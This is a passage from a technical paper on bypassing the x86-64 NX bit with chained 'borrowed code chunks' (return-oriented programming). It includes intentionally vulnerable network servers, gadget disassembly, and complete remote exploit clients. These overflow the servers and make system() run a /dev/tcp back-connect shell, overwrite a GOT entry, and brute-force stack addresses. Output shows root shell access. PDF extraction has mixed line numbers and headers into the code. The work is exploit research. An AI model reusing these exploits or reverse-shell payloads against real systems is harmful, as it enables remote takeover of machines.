0x000000000000421c vaddr 0x000000000040421c paddr 0x000000000040421c align 2**2 filesz 0x000000000000015c memsz 0x000000000000015c flags r-STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**3 filesz 0x0000000000000000 memsz 0x0000000000000000 flags rwDynamic Section: NEEDED libc.so.6 INIT 0x400e18 linux:˜ # On older Linux kernels the stack had no own section within the ELF binary since it was not possible to enforce read-no-execute anyways. As can be seen by the maps file of the cat process, there is no page an attacker could potentially place his shellcode and where he can jump into afterwards. All pages are either not writable, so no way to put shellcode there, or if they are writable they are not executable. It is not entirely new to the exploit coders that there is no way to put code into the program or at least to transfer control to it. For that reason two techniques called return-into-libc [5] and advanced-return-intolibc [4] have been developed. This allowed to bypass the PaX protection scheme in certain cases, if the application to be exploited gave conditions to use that technique.1 However this technique works only on recent x86 1 Address Space Layout Randomization for example could make things more difficult or the overall behavior of the program, however there are techniques to bypass ASLR as well. | 106 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 4 THE BORROWED CODE CHUNKS TECHNIQUE 4 CPUs and NOT on the x86-64 architecture since the ELF64 SystemV ABI specifies that function call parameters are passed within registers 2 . The return-into-libc trick requires that arguments to e.g. system(3) are passed on the stack since you build a fake stack-frame for a fake system(3) function call. If the argument of system(3) has to be passed into the %rdi register, the return-into-libc fails or executes junk which is not under control of the attacker. 4 The borrowed code chunks technique Since neither the common nor the return-into-libc way works we need to develop another technique which I call the borrowed code chunks technique. You will see why this name makes sense. As with the return-into-libc technique this will focus on stack based overflows. But notice that heap based overflows or format bugs can often be mapped to stack based overflows since one can write arbitrary data to an arbitrary location which can also be the stack. This sample program is used to explain how even in this restricted environment arbitrary code can be executed. 2 1 2 3 4 5 6 7 8 9 10 11 #include #include #include #include #include #include #include #include #include #include #include 12 13 14 15 16 void die(const char *s) { perror(s); exit(errno); } 17 18 19 int handle_connection(int fd) { char buf[1024]; 20 21 22 23 24 write(fd, "OF Server 1.0\n", 14); read(fd, buf, 4*sizeof(buf)); write(fd, "OK\n", 3); return 0; } 25 26 27 28 void sigchld(int x) { while (waitpid(-1, NULL, WNOHANG) != -1); } 29 30 31 32 int main() { int sock = -1, afd = -1; struct sockaddr_in sin; The first 6 integer arguments, so this affects us. 107 | NO -NX 4 THE BORROWED CODE CHUNKS TECHNIQUE 33 int one = 1; 34 printf("&sock = %p system=%p mmap=%p\n", &sock, system, mmap); 35 36 37 38 39 40 if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) die("socket"); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(1234); sin.sin_addr.s_addr = INADDR_ANY; 41 setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); 42 43 44 45 if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) die("bind"); if (listen(sock, 10) < 0) die("listen"); 46 signal(SIGCHLD, sigchld); 47 48 49 50 51 52 53 54 55 56 57 for (;;) { if ((afd = accept(sock, NULL, 0)) < 0 && errno != EINTR) die("accept"); if (afd < 0) continue; if (fork() == 0) { handle_connection(afd); exit(0); } close(afd); } 58 59 return 0; } Obviously a overflow happens at line 21. Keep in mind, even if we are able to overwrite the return address and to place a shellcode into buf, we can’t execute it since page permissions forbid it. We can’t use the return-intolibc trick either since the function we want to ”call” e.g. system(3) expects the argument in the %rdi register. Since there is no chance to transfer execution flow to our own instructions due to restricted page permissions we have to find a way to transfer arbitrary values into registers so that we could finally jump into system(3) with proper arguments. Lets analyze the server binary at assembly level: 0x0000000000400a40 : 0x0000000000400a41 : 0x0000000000400a46 : 0x0000000000400a48 : 0x0000000000400a4d : 0x0000000000400a54 : 0x0000000000400a59 : 0x0000000000400a5c : 0x0000000000400a5e : 0x0000000000400a63 : 0x0000000000400a68 : 0x0000000000400a6a : 0x0000000000400a6f : 0x0000000000400a74 : 0x0000000000400a79 : 0x0000000000400a80 : 0x0000000000400a82 : 0x0000000000400a83 : push mov mov mov sub callq mov mov mov callq mov mov mov callq add xor pop retq %rbx $0xe,%edx %edi,%ebx $0x400d0c,%esi $0x400,%rsp 0x400868 <_init+104> %rsp,%rsi %ebx,%edi $0x800,%edx 0x400848 <_init+72> %ebx,%edi $0x3,%edx $0x400d1b,%esi 0x400868 <_init+104> $0x400,%rsp %eax,%eax %rbx All we control when the overflow happens is the content on the stack. At address 0x0000000000400a82 we see 0x0000000000400a82 : 0x0000000000400a83 : pop retq %rbx We can control content of register %rbx, too. Might it be possible that %rbx is moved to %rdi somewhere? Probably, but the problem is that the | 108 5 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 4 THE BORROWED CODE CHUNKS TECHNIQUE 6 instructions which actually do this have to be prefix of a retq instruction since after %rdi has been properly filled with the address of the system(3) argument this function has to be called. Every single instruction between filling %rdi with the right value and the retq raises the probability that this content is destroyed or the code accesses invalid memory and segfaults. After an overflow we are not in a very stable program state at all. Lets see which maybe interesting instructions are a prefix of a retq. 0x00002aaaaac7b632 : 0x00002aaaaac7b637 : 0x00002aaaaac7b63c : 0x00002aaaaac7b641 : 0x00002aaaaac7b649 : 0x00002aaaaac7b651 : 0x00002aaaaac7b659 : 0x00002aaaaac7b660 : mov mov mov mov mov mov add retq 0x68(%rsp),%rbx 0x70(%rsp),%rbp 0x78(%rsp),%r12 0x80(%rsp),%r13 0x88(%rsp),%r14 0x90(%rsp),%r15 $0x98,%rsp Interesting. This lets us fill %rbx, %rbp, %r12..%r15. But useless for our purpose. It might help if one of these registers is moved to %rdi somewhere else though. 0x00002aaaaac50bf4 : mov 0x00002aaaaac50bf7 : callq %rsp,%rdi *%eax We can move content of %rsp to %rdi. If we wind up %rsp to the right position this is a way to go. Hence, we would need to fill %eax with the address of system(3)... 0x00002aaaaac743d5 : 0x00002aaaaac743d8 : 0x00002aaaaac743df : 0x00002aaaaac743e0 : mov add pop retq %rbx,%rax $0xe0,%rsp %rbx Since we control %rbx from the handle connection() outro we can fill %rax with arbitrary values too. %rdi will be filled with a stack address where we put the argument to system(3) to. Just lets reassemble which code snippets we borrowed from the server binary and in which order they are executed: 0x0000000000400a82 : 0x0000000000400a83 : pop retq %rbx 0x00002aaaaac743d5 : 0x00002aaaaac743d8 : 0x00002aaaaac743df : 0x00002aaaaac743e0 : mov add pop retq %rbx,%rax $0xe0,%rsp %rbx 0x00002aaaaac50bf4 : 0x00002aaaaac50bf7 : mov callq %rsp,%rdi *%eax The retq instructions actually chain the code chunks together (we control the stack!) so you can skip it while reading the code. Virtually, since we control the stack, the following code gets executed: pop mov add pop mov callq %rbx %rbx,%rax $0xe0,%rsp %rbx %rsp,%rdi *%eax 109 | NO -NX 5 AND DOES THIS REALLY WORK? 7 That’s an instruction sequence which fills all the registers we need with values controlled by the attacker. This code snippet will actually be a call to system(”sh /dev/tcp/127.0.0.1/8080”) which is a back-connect shellcode. 5 And does this really work? Yes. Client and server program can be found at [10] so you can test it yourself. If you use a different target platform than mine you might have to adjust the addresses for the libc functions and the borrowed instructions. Also, the client program wants to be compiled on a 64 bit machine since otherwise the compiler complains on too large integer values. 1 2 3 4 5 6 7 8 9 10 void exploit(const char *host) { int sock = -1; char trigger[4096]; size_t tlen = sizeof(trigger); struct t_stack { char buf[1024]; u_int64_t rbx; // to be moved to %rax to be called as *eax = system(): // 0x0000000000400a82 : pop // 0x0000000000400a83 : retq 11 12 13 14 15 16 u_int64_t ulimit_133; 17 18 19 20 char rsp_off[0xe0 + 8]; u_int64_t setuid_52; 21 char system[512]; // to call: // 0x00002aaaaac743d5 : // 0x00002aaaaac743d8 : // 0x00002aaaaac743df : // 0x00002aaaaac743e0 : // to yield %rbx in %rax // 0xe0 is added and one pop // to call: // 0x00002aaaaac50bf4 : mov // 0x00002aaaaac50bf7 : callq mov add pop retq %rbx %rbx,%rax $0xe0,%rsp %rbx %rsp,%rdi *%eax // system() argument has to be *here* 22 } __attribute__ ((packed)) server_stack; 23 24 char *cmd = "sh < /dev/tcp/127.0.0.1/3128 //char nop = ’;’; 25 26 27 28 29 30 memset(server_stack.buf, ’X’, sizeof(server_stack.buf)); server_stack.rbx = 0x00002aaaaabfb290; server_stack.ulimit_133 = 0x00002aaaaac743d5; memset(server_stack.rsp_off, ’A’, sizeof(server_stack.rsp_off)); server_stack.setuid_52 = 0x00002aaaaac50bf4; memset(server_stack.system, 0, sizeof(server_stack.system)-1); 31 assert(strlen(cmd) < sizeof(server_stack.system)); 32 strcpy(server_stack.system, cmd); 33 34 if ((sock = tcp_connect(host, 1234)) < 0) die("tcp_connect"); 35 read(sock, trigger, sizeof(trigger)); 36 37 38 39 40 41 42 assert(tlen > sizeof(server_stack)); memcpy(trigger, &server_stack, sizeof(server_stack)); writen(sock, trigger, tlen); usleep(1000); read(sock, trigger, 1); close(sock); > /dev/tcp/127.0.0.1/8080;"; } To make it clear, this is a remote exploit for the sample overflow server, not just some local theoretical proof of concept that some instructions can be executed. The attacker will get full shell access. | 110 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 6 SINGLE WRITE EXPLOITS 8 6 Single write exploits The last sections focused on stack based overflows and how to exploit them. I already mentioned that heap based buffer overflows or format string bugs can be mapped to stack based overflows in most cases. To demonstrate this, I wrote a second overflow server which basically allows you to write an arbitrary (64-bit) value to an arbitrary (64-bit) address. This scenario is what happens under the hood of a so called malloc exploit or format string exploit. Due to overwriting of internal memory control structures it allows the attacker to write arbitrary content to an arbitrary address. A in depth description of the malloc exploiting techniques can be found in [8]. 1 2 3 4 5 6 7 8 9 10 11 #include #include #include #include #include #include #include #include #include #include #include 12 13 14 15 16 void die(const char *s) { perror(s); exit(errno); } 17 18 19 20 int handle_connection(int fd) { char buf[1024]; size_t val1, val2; 21 22 23 write(fd, "OF Server 1.0\n", 14); read(fd, buf, sizeof(buf)); write(fd, "OK\n", 3); 24 25 26 27 read(fd, &val1, sizeof(val1)); read(fd, &val2, sizeof(val2)); *(size_t*)val1 = val2; write(fd, "OK\n", 3); 28 29 } return 0; 30 31 32 33 void sigchld(int x) { while (waitpid(-1, NULL, WNOHANG) != -1); } 34 35 36 37 38 int main() { int sock = -1, afd = -1; struct sockaddr_in sin; int one = 1; 39 printf("&sock = %p system=%p mmap=%p\n", &sock, system, mmap); 40 41 42 43 44 45 if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) die("socket"); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(1234); sin.sin_addr.s_addr = INADDR_ANY; 46 setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); 47 if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) 111 | NO -NX 6 SINGLE WRITE EXPLOITS 48 49 50 9 die("bind"); if (listen(sock, 10) < 0) die("listen"); 51 signal(SIGCHLD, sigchld); 52 53 54 55 56 57 58 59 60 61 62 for (;;) { if ((afd = accept(sock, NULL, 0)) < 0 && errno != EINTR) die("accept"); if (afd < 0) continue; if (fork() == 0) { handle_connection(afd); exit(0); } close(afd); } 63 64 return 0; } An exploiting client has to fill val1 and val2 with proper values. Most of the time the Global Offset Table GOT is the place of choice to write values to. A disassembly of the new server2 binary shows why. 0000000000400868 : 400868: ff 25 8a 09 10 00 40086e: 68 04 00 00 00 400873: e9 a0 ff ff ff jmpq pushq jmpq *1051018(%rip) $0x4 400818 <_init+0x18> # 5011f8 <_GLOBAL_OFFSET_TABLE_+0x38> When write() is called, transfer is controlled to the write() entry in the Procedure Linkage Table PLT. This is due to the position independent code, please see [2]. The code looks up the real address to jump to from the GOT. The slot which holds the address of glibc’s write() is at address 0x5011f8. If we fill this address with an address of our own, control is transfered there. However, we again face the problem that we can not execute any shellcode due to restrictive page protections. We have to use the code chunks borrow technique in some variant. The trick is here to shift the stack frame upwards to a stack location where we control the content. This location is buf in this example but in a real server it could be some other buffer some functions upwards in the calling chain as well. Basically the same technique called stack pointer lifting was described in [5] but this time we use it to not exploit a stack based overflow but a single-write failure. How can we lift the stack pointer? By jumping in a appropriate function outro. We just have to find out how many bytes the stack pointer has to be lifted. If I calculate correctly it has to be at least two 64-bit values (val1 and val2) plus a saved return address from the write call = 3*sizeof(u int64 t) = 3*8 = 24 Bytes. At least. Then %rsp points directly into buf which is under control of the attacker and the game starts again. Some code snippets from glibc which shows that %rsp can be lifted at almost arbitrary amounts: | 112 48158: 4815f: 48 81 c4 d8 00 00 00 c3 add retq $0xd8,%rsp 4c8f5: 4c8fc: 48 81 c4 a8 82 00 00 c3 add retq $0x82a8,%rsp NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 6 SINGLE WRITE EXPLOITS 10 58825: 5882c: 5882f: 58830: 48 81 c4 00 10 00 00 48 89 d0 5b c3 add mov pop retq $0x1000,%rsp %rdx,%rax %rbx 5a76d: 5a771: 48 83 c4 48 c3 add retq $0x48,%rsp 5a890: 5a894: 48 83 c4 58 c3 add retq $0x58,%rsp 5a9f0: 5a9f4: 48 83 c4 48 c3 add retq $0x48,%rsp 5ad01: 5ad05: 48 83 c4 68 c3 add retq $0x68,%rsp 5b8e2: 5b8e6: 48 83 c4 18 c3 add retq $0x18,%rsp 5c063: 5c067: 48 83 c4 38 c3 add retq $0x38,%rsp 0x00002aaaaac1a90a : 0x00002aaaaac1a90e : 0x00002aaaaac1a90f : 0x00002aaaaac1a910 : add pop pop retq $0x8,%rsp %rbx %rbp The last code chunk fits perfectly in our needs since it lifts the stack pointer by exactly 24 Bytes. So the value we write to the address 0x5011f8 3 is 0x00002aaaaac1a90a. When lifting is done, %rsp points to buf, and we can re-use the addresses and values from the other exploit. 1 2 3 4 5 6 7 8 9 10 3 void exploit(const char *host) { int sock = -1; char trigger[1024]; size_t tlen = sizeof(trigger), val1, val2; struct t_stack { u_int64_t ulimit_143; // stack lifting from modified GOT pops this into %rip u_int64_t rbx; // to be moved to %rax to be called as *eax = system(): // 0x00002aaaaac743df : pop %rbx // 0x00002aaaaac743e0 : retq 11 12 13 14 15 16 u_int64_t ulimit_133; // to call: // 0x00002aaaaac743d5 : // 0x00002aaaaac743d8 : // 0x00002aaaaac743df : // 0x00002aaaaac743e0 : // to yied %rbx in %rax 17 18 19 20 char rsp_off[0xe0 + 8]; // 0xe0 is added and one pop u_int64_t setuid_52; // to call: // 0x00002aaaaac50bf4 : mov // 0x00002aaaaac50bf7 : callq 21 char system[512]; mov add pop retq %rbx,%rax $0xe0,%rsp %rbx %rsp,%rdi *%eax // system() argument has to be *here* 22 } __attribute__ ((packed)) server_stack; 23 char *cmd = "sh < /dev/tcp/127.0.0.1/3128 24 25 26 27 28 29 server_stack.ulimit_143 = 0x00002aaaaac743df; server_stack.rbx = 0x00002aaaaabfb290; server_stack.ulimit_133 = 0x00002aaaaac743d5; memset(server_stack.rsp_off, ’A’, sizeof(server_stack.rsp_off)); server_stack.setuid_52 = 0x00002aaaaac50bf4; memset(server_stack.system, 0, sizeof(server_stack.system)-1); > /dev/tcp/127.0.0.1/8080;"; 30 assert(strlen(cmd) < sizeof(server_stack.system)); 31 strcpy(server_stack.system, cmd); 32 33 if ((sock = tcp_connect(host, 1234)) < 0) die("tcp_connect"); The GOT entry we want to modify. 113 | NO -NX 6 SINGLE WRITE EXPLOITS 11 34 read(sock, trigger, sizeof(trigger)); 35 36 37 38 39 assert(tlen > sizeof(server_stack)); memcpy(trigger, &server_stack, sizeof(server_stack)); writen(sock, trigger, tlen); usleep(1000); read(sock, trigger, 3); 40 41 42 43 // 0000000000400868 : // 400868: ff 25 8a 09 10 00 // 40086e: 68 04 00 00 00 // 400873: e9 a0 ff ff ff 44 45 46 47 val1 = 0x5011f8; val2 = 0x00002aaaaac1a90a; writen(sock, &val1, sizeof(val1)); writen(sock, &val2, sizeof(val2)); 48 49 50 51 sleep(10); read(sock, trigger, 3); close(sock); jmpq pushq jmpq *1051018(%rip) $0x4 400818 <_init+0x18> # 5011f8 <_GLOBAL_OFFSET_TABLE_+0x38> // stack lifting from funlockfile+298 } The code which gets executed is (retq omitted): add pop pop $0x8,%rsp %rbx %rbp pop mov add pop mov callq %rbx %rbx,%rax $0xe0,%rsp %rbx %rsp,%rdi *%eax Thats very similar to the first exploiting function except the stack has to be lifted to the appropriate location. The first three instructions are responsible for this. The exploit works also without brute forcing and it works very well: linux: $ ./client2 Connected! Linux linux 2.6.11.4-20a-default #1 Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root) 11:04:39 up 2:23, 5 users, load average: 0.36, 0.18, 0.06 USER TTY LOGIN@ IDLE JCPU PCPU WHAT root tty1 08:42 3.00s 0.11s 0.00s ./server2 user tty2 08:42 0.00s 0.31s 0.01s login -- user user tty3 08:43 42:56 0.11s 0.11s -bash user tty4 09:01 6:11 0.29s 0.29s -bash user tty5 10:04 51:08 0.07s 0.07s -bash | 114 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 7 AUTOMATED EXPLOITATION 12 Figure 1: Six important code chunks and its opcodes. Code chunks Opcodes pop %rdi; retq 0x5f 0xc3 pop %rsi; retq 0x5e 0xc pop %rdx; retq 0x5a 0xc3 pop %rcx; retq 0x59 0xc3 pop %r8; retq 0x41 0x58 0xc3 pop %r9; retq 0x41 0x59 0xc3 Figure 2: Stack layout of a 3-argument function call. Higher addresses at the top. ... &function argument3 &pop %rdx; retq argument2 &pop %rsi; retq argument1 &pop %rdi; retq ... 7 Automated exploitation During the last sections it was obvious that the described technique is very powerful and it is easily possible to bypass the buffer overflow protection based on the R/X splitting. Nevertheless it is a bit of a hassle to walk through the target code and search for proper instructions to build up a somewhat useful code chain. It would be much easier if something like a special shellcode compiler would search the address space and build a fake stack which has all the code chunks and symbols already resolved and which can be imported by the exploit. The ABI says that the first six integer arguments are passed within the registers %rdi,%rsi,%rdx,%rcx,%r8,%r9 in that order. So we have to search for these instructions which do not need to be placed on instruction boundary but can be located somewhere within an executable page. Lets have a look at the opcodes of the code chunks we need at figure 1. As can be seen, the four most important chunks have only a length of two byte. The library calls attackers commonly need do not have more than three arguments in most cases. Chances to find these two-byte chunks within libc or other loaded libraries of the target program are very high. 115 | NO -NX 7 AUTOMATED EXPLOITATION A stack frame for a library call with three arguments assembled with borrowed code chunks is shown in figure 2. & is the address operator as known from the C programming language. Keep in mind: arguments to function() are passed within the registers. The arguments on the stack are popped into the registers by placing the addresses of the appropriate code chunks on the stack. Such one block will execute function() and can be chained with other blocks to execute more than one function. A small tool which builds such stack frames from a special input language is available at [10]. linux: $ ps aux|grep server root 7020 0.0 0.0 2404 376 tty3 S+ 12:14 0:00 ./server root 7188 0.0 0.1 2684 516 tty2 R+ 12:33 0:00 grep server linux: $ cat calls 0 setuid fork 1 2 3 setresuid 42 close 1 exit linux: $ ./find -p 7020 < calls 7190: [2aaaaaaab000-2aaaaaac1000] 0x2aaaaaaab000-0x2aaaaaac1000 /lib64/ld-2.3.4.so pop %rsi; retq @0x2aaaaaaabdfd /lib64/ld-2.3.4.so pop %rdi; retq @0x2aaaaaaac0a9 /lib64/ld-2.3.4.so 7190: [2aaaaabc2000-2aaaaabc4000] 0x2aaaaabc2000-0x2aaaaabc4000 /lib64/libdl.so.2 7190: [2aaaaacc5000-2aaaaade2000] 0x2aaaaacc5000-0x2aaaaade2000 /lib64/tls/libc.so.6 pop %r8; retq @0x2aaaaacf82c3 /lib64/tls/libc.so.6 pop %rdx; retq @0x2aaaaad890f5 /lib64/tls/libc.so.6 Target process 7020, offset 0 Target process 7020, offset 0 libc_offset=1060864 Target process 7020, offset 1060864 Target process 7020, offset 1060864 pop %rdi; retq 0x2aaaaaaac0a9 0 /lib64/ld-2.3.4.so pop %rsi; retq 0x2aaaaaaabdfd 0 /lib64/ld-2.3.4.so pop %rdx; retq 0x2aaaaad890f5 1060864 /lib64/tls/libc.so.6 pop %rcx; retq (nil) 0 (null) pop %r8; retq 0x2aaaaacf82c3 1060864 /lib64/tls/libc.so.6 pop %r9; retq (nil) 0 (null) u_int64_t chunks[] = { 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x0, 0x2aaaaac50bc0, // setuid 0x2aaaaac4fdd0, // fork 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x1, 0x2aaaaaaabdfd, // pop %rsi; retq,/lib64/ld-2.3.4.so 0x2, 0x2aaaaac860f5, // pop %rdx; retq,/lib64/tls/libc.so.6 0x3, 0x2aaaaac50e60, // setresuid 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x2a, 0x2aaaaac6ed00, // close 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x1, 0x2aaaaabf2610, // exit }; The calls file is written in that special language and tells the chunk com- | 116 13 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 7 AUTOMATED EXPLOITATION 14 piler to build a stack frame which, if placed appropriately on the vulnerable server program, calls the function sequence of setuid(0); fork(); setresuid(1,2,3); close(42); exit(1); just to demonstrate that things work. These are actually calls to libc functions. These are not direct calls to system-calls via the SYSCALL instruction. The order of arguments is PASCAL-style within the chunk-compiler language, e.g. the first argument comes first. The important output is the u int64 t chunks[] array which can be used right away to exploit the process which it was given via the -p switch. This was the PID of the server process in this example. The array can be cut&pasted to the exploit() function: 1 2 3 4 5 6 7 8 9 10 void exploit(const char *host) { int sock = -1; char trigger[4096]; size_t tlen = sizeof(trigger); struct t_stack { char buf[1024]; u_int64_t rbx; u_int64_t code[17]; } __attribute__ ((packed)) server_stack; 11 12 13 14 u_int64_t chunks[] = { 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x0, 0x2aaaaac50bc0, // setuid 15 0x2aaaaac4fdd0, // fork 16 17 18 19 20 21 22 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x1, 0x2aaaaaaabdfd, // pop %rsi; retq,/lib64/ld-2.3.4.so 0x2, 0x2aaaaac860f5, // pop %rdx; retq,/lib64/tls/libc.so.6 0x3, 0x2aaaaac50e60, // setresuid 23 24 25 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x2a, 0x2aaaaac6ed00, // close 26 27 28 29 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x1, 0x2aaaaabf2610, // exit }; 30 31 32 memset(server_stack.buf, ’X’, sizeof(server_stack.buf)); server_stack.rbx = 0x00002aaaaabfb290; memcpy(server_stack.code, chunks, sizeof(server_stack.code)); 33 34 if ((sock = tcp_connect(host, 1234)) < 0) die("tcp_connect"); 35 read(sock, trigger, sizeof(trigger)); 36 37 38 39 40 41 42 assert(tlen > sizeof(server_stack)); memcpy(trigger, &server_stack, sizeof(server_stack)); writen(sock, trigger, tlen); usleep(1000); read(sock, trigger, 1); close(sock); } 117 | NO -NX 7 AUTOMATED EXPLOITATION 15 When running the exploit client-automatic, an attached strace shows that the right functions are executed in the right order. This time the system-calls are actually shown in the trace-log but thats OK since the triggered libc calls will eventually call the corresponding system calls. linux:˜ # strace -i -f -p 7020 Process 7020 attached - interrupt to quit [ 2aaaaac7bd72] accept(3, 0, NULL) = 4 [ 2aaaaac4fe4b] clone(Process 7227 attached child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaaade8b90) = 7227 [pid 7020] [ 2aaaaac6ed12] close(4) = 0 [pid 7020] [ 2aaaaac7bd72] accept(3, [pid 7227] [ 2aaaaac6ee22] write(4, "OF Server 1.0\n", 14) = 14 [pid 7227] [ 2aaaaac6ed92] read(4, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"..., 4096) = 4096 [pid 7227] [ 2aaaaac6ee22] write(4, "OK\n", 3) = 3 [pid 7227] [ 2aaaaac50bd9] setuid(0) = 0 [pid 7227] [ 2aaaaac4fe4b] clone(Process 7228 attached child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaaade8b90) = 7228 [pid 7227] [ 2aaaaac50e7d] setresuid(1, 2, 3) = 0 [pid 7227] [ 2aaaaac6ed12] close(42) = -1 EBADF (Bad file descriptor) [pid 7227] [ 2aaaaac78579] munmap(0x2aaaaaac2000, 4096) = 0 [pid 7227] [ 2aaaaac500fa] exit_group(1) = ? Process 7227 detached [pid 7020] [ 2aaaaac7bd72] <... accept resumed> 0, NULL) = ? ERESTARTSYS (To be restarted) [pid 7020] [ 2aaaaac7bd72] --- SIGCHLD (Child exited) @ 0 (0) --[pid 7020] [ 2aaaaac4f6d4] wait4(-1, NULL, WNOHANG, NULL) = 7227 [pid 7020] [ 2aaaaac4f6d4] wait4(-1, NULL, WNOHANG, NULL) = -1 ECHILD (No child processes) [pid 7020] [ 2aaaaabeff09] rt_sigreturn(0xffffffffffffffff) = 43 [pid 7020] [ 2aaaaac7bd72] accept(3, [pid 7228] [ 2aaaaac50e7d] setresuid(1, 2, 3) = 0 [pid 7228] [ 2aaaaac6ed12] close(42) = -1 EBADF (Bad file descriptor) [pid 7228] [ 2aaaaac78579] munmap(0x2aaaaaac2000, 4096) = 0 [pid 7228] [ 2aaaaac500fa] exit_group(1) = ? Process 7228 detached Everything worked as expected, even the fork(2) which can be seen by the the spawned process. I don’t want to hide the fact that all the exploits send 0-bytes across the wire. If the target process introduces strcpy(3) calls this might be problematic since 0 is the string terminator. However, deeper research might allow to remove the 0-bytes and most overflows today don’t happen anymore due to stupid strcpy(3) calls. Indeed even most of them accept 0 bytes since most overflows happen due to integer miscalculation of length fields today. Eventually we want to generate a shellcode which executes a shell. We still use the same vulnerable server program. But this time we generate a stack which also calls the system(3) function instead of the dummy calls from the last example. To show that its still a calling sequence and not just a single function call, the UID is set to the wwwrun user via the setuid(3) function call. The problem with a call to system(3) is that it expects a pointer argument. The code generator however is not clever enough 4 to find out where the command is located. Thats why we need to brute force the argument for system(3) within the exploit. As with common old-school exploits, we can use NOP’s to increase the steps during brute force. We know that the command string is located on the stack. The space character ’ ’ serves very well as a NOP since our NOP will be a NOP to the system(3) argument, e.g. we can pass "/bin/sh" or " /bin/sh" to system(3). 4 Not yet clever enough. It is however possible to use ptrace(2) to look for the address of certain strings in the target process address space. | 118 NO -NX DER HAMMER: X86-64 UND DAS UM-SCHIFFEN DES NX BITS 7 AUTOMATED EXPLOITATION 16 linux:$ ps aux|grep server root 7207 0.0 0.0 2404 368 tty1 S+ 15:09 0:00 ./server user@linux:> cat calls-shell 30 setuid /bin/sh system linux:$ ./find -p 7207 < calls-shell 7276: [2aaaaaaab000-2aaaaaac1000] 0x2aaaaaaab000-0x2aaaaaac1000 /lib64/ld-2.3.4.so pop %rsi; retq @0x2aaaaaaabdfd /lib64/ld-2.3.4.so pop %rdi; retq @0x2aaaaaaac0a9 /lib64/ld-2.3.4.so 7276: [2aaaaabc2000-2aaaaabc4000] 0x2aaaaabc2000-0x2aaaaabc4000 /lib64/libdl.so.2 7276: [2aaaaacc5000-2aaaaade2000] 0x2aaaaacc5000-0x2aaaaade2000 /lib64/tls/libc.so.6 pop %r8; retq @0x2aaaaacf82c3 /lib64/tls/libc.so.6 pop %rdx; retq @0x2aaaaad890f5 /lib64/tls/libc.so.6 Target process 7207, offset 0 Target process 7207, offset 0 libc_offset=1060864 Target process 7207, offset 1060864 Target process 7207, offset 1060864 pop %rdi; retq 0x2aaaaaaac0a9 0 /lib64/ld-2.3.4.so pop %rsi; retq 0x2aaaaaaabdfd 0 /lib64/ld-2.3.4.so pop %rdx; retq 0x2aaaaad890f5 1060864 /lib64/tls/libc.so.6 pop %rcx; retq (nil) 0 (null) pop %r8; retq 0x2aaaaacf82c3 1060864 /lib64/tls/libc.so.6 pop %r9; retq (nil) 0 (null) u_int64_t chunks[] = { 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x1e, 0x2aaaaac50bc0, // setuid 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so , 0x2aaaaabfb290, // system }; linux:$ The fourth entry of the chunks[] array has to hold the address of the command and has to be brute forced. The exploit function looks like this: 1 2 3 4 5 6 7 8 9 10 11 void exploit(const char *host) { int sock = -1; char trigger[4096]; size_t tlen = sizeof(trigger); struct t_stack { char buf[1024]; u_int64_t rbx; u_int64_t code[6]; char cmd[512]; } __attribute__ ((packed)) server_stack; 12 13 14 15 u_int64_t chunks[] = { 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0x1e, 0x2aaaaac50bc0, // setuid 16 17 18 19 20 21 22 0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so 0, // to be brute forced 0x2aaaaabfb290, // system }; u_int64_t stack; char *cmd = " "sh < /dev/tcp/127.0.0.1/3128 23 24 25 memset(server_stack.buf, ’X’, sizeof(server_stack.buf)); server_stack.rbx = 0x00002aaaaabfb290; strcpy(server_stack.cmd, cmd); 26 27 28 29 for (stack = 0x7ffffffeb000; stack < 0x800000000000; stack += 70) { printf("0x%08lx\r", stack); chunks[4] = stack; memcpy(server_stack.code, chunks, sizeof(server_stack.code)); 30 31 " // ˜80 NOPs > /dev/tcp/127.0.0.1/8080;"; if ((sock = tcp_connect(host, 1234)) < 0) die("tcp_connect"); 119 | NO -NX 8 RELATED WORK 32 read(sock, trigger, sizeof(trigger)); 33 34 35 36 37 38 39 40 assert(tlen > sizeof(server_stack)); memcpy(trigger, &server_stack, sizeof(server_stack)); writen(sock, trigger, tlen); usleep(1000); read(sock, trigger, 1); close(sock); 17 